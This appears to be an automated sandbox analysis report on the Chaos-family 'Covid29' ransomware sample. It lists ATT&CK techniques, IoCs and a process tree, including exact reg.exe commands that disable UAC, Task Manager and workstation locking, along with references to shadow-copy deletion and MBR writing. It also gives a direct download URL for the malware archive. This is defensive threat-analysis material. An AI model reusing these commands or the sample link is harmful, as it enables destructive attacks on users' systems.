chaos | hxxps://raw[.]githubusercontent[.]com/pankoza2-pl/malwaredatabase-old/53b7c902145cdf7b74223bb2dd18b8a96acd013a/Covid29-Ransomware/Covid29%20Ransomware[.]zip

Resubmissions

20-12-2024 05:28

241220-f6e4as1qhk 10

06-12-2024 01:54

241206-cbzbxatpfz 10

Analysis

max time kernel
79s
max time network
69s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
20-12-2024 05:28

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General

Target

https://raw.githubusercontent.com/pankoza2-pl/malwaredatabase-old/53b7c902145cdf7b74223bb2dd18b8a96acd013a/Covid29-Ransomware/Covid29%20Ransomware.zip

Score

10^/10

chaos bootkit defense_evasion discovery evasion execution impact persistence ransomware spyware stealer trojan upx

Malware Config

Signatures

Chaos
Ransomware family first seen in June 2021.
ransomware chaos

Chaos Ransomware 4 IoCs

resource	yara_rule
behavioral1/files/0x001900000002ab6c-100.dat	family_chaos
behavioral1/memory/4992-102-0x0000000000100000-0x0000000000120000-memory.dmp	family_chaos
behavioral1/memory/1992-175-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos
behavioral1/memory/1992-180-0x0000000000400000-0x00000000005D5000-memory.dmp	family_chaos

Chaos family
chaos

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1224	bcdedit.exe
4092	bcdedit.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2068	wbadmin.exe

Disables Task Manager via registry modification
evasion

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.url	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\covid29-is-here.txt	svchost.exe

Executes dropped EXE 4 IoCs

pid	Process
1996	mbr.exe
4992	Cov29Cry.exe
3424	svchost.exe
1224	Cov29LockScreen.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Drops desktop.ini file(s) 34 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SendTo\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\AccountPictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini	svchost.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-1537126222-899333903-2037027349-1000\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	svchost.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	mbr.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\oxcer22ky.jpg"	svchost.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1992-69-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/1992-175-0x0000000000400000-0x00000000005D5000-memory.dmp	upx
behavioral1/memory/1992-180-0x0000000000400000-0x00000000005D5000-memory.dmp	upx

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mbr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Cov29LockScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TrojanRansomCovid29.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4368	PING.EXE
1240	PING.EXE

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
768	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2548	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133791461397781922"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-1537126222-899333903-2037027349-1000_Classes\Local Settings	svchost.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

T1112

pid	Process
1208	reg.exe
1264	reg.exe
4168	reg.exe
4420	reg.exe
1460	reg.exe
3768	reg.exe
488	reg.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Covid29 Ransomware.zip:Zone.Identifier	chrome.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1240	PING.EXE
4368	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3424	svchost.exe

Suspicious behavior: EnumeratesProcesses 49 IoCs

pid	Process
1408	chrome.exe
1408	chrome.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
4992	Cov29Cry.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe
3424	svchost.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
1408	chrome.exe
1408	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	1408	chrome.exe
Token: SeCreatePagefilePrivilege	1408	chrome.exe
Token: SeShutdownPrivilege	3032	shutdown.exe
Token: SeRemoteShutdownPrivilege	3032	shutdown.exe
Token: SeDebugPrivilege	4992	Cov29Cry.exe
Token: SeShutdownPrivilege	1408	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe
1408	chrome.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2180	PickerHost.exe
1224	Cov29LockScreen.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1408 wrote to memory of 1608	1408	chrome.exe	78
PID 1408 wrote to memory of 1608	1408	chrome.exe	78
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 1244	1408	chrome.exe	79
PID 1408 wrote to memory of 3772	1408	chrome.exe	80
PID 1408 wrote to memory of 3772	1408	chrome.exe	80
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81
PID 1408 wrote to memory of 4224	1408	chrome.exe	81

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://raw.githubusercontent.com/pankoza2-pl/malwaredatabase-old/53b7c902145cdf7b74223bb2dd18b8a96acd013a/Covid29-Ransomware/Covid29%20Ransomware.zip
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0xdc,0xe0,0xd8,0xe4,0x7ff8a130cc40,0x7ff8a130cc4c,0x7ff8a130cc58
  2⤵
  PID:1608
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1808,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1812 /prefetch:2
  2⤵
  PID:1244
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2060,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2096 /prefetch:3
  2⤵
  PID:3772
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2180,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2380 /prefetch:8
  2⤵
  PID:4224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3056,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3104 /prefetch:1
  2⤵
  PID:3512
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3064,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4744,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4756 /prefetch:8
  2⤵
  PID:3648
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4080,i,6805160635874606871,3034028508497555304,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4760 /prefetch:8
  2⤵
  - NTFS ADS
  PID:1968

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3676

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4792

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Temp1_Covid29 Ransomware.zip\readme.txt
1⤵
PID:2648

C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe
"C:\Users\Admin\Downloads\Covid29 Ransomware\TrojanRansomCovid29.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:1992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\2507.tmp\TrojanRansomCovid29.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  PID:1760
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2507.tmp\fakeerror.vbs"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4636
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost -n 2
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4368
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1208
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v HideFastUserSwitching /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:1264
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4168
- - C:\Windows\SysWOW64\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
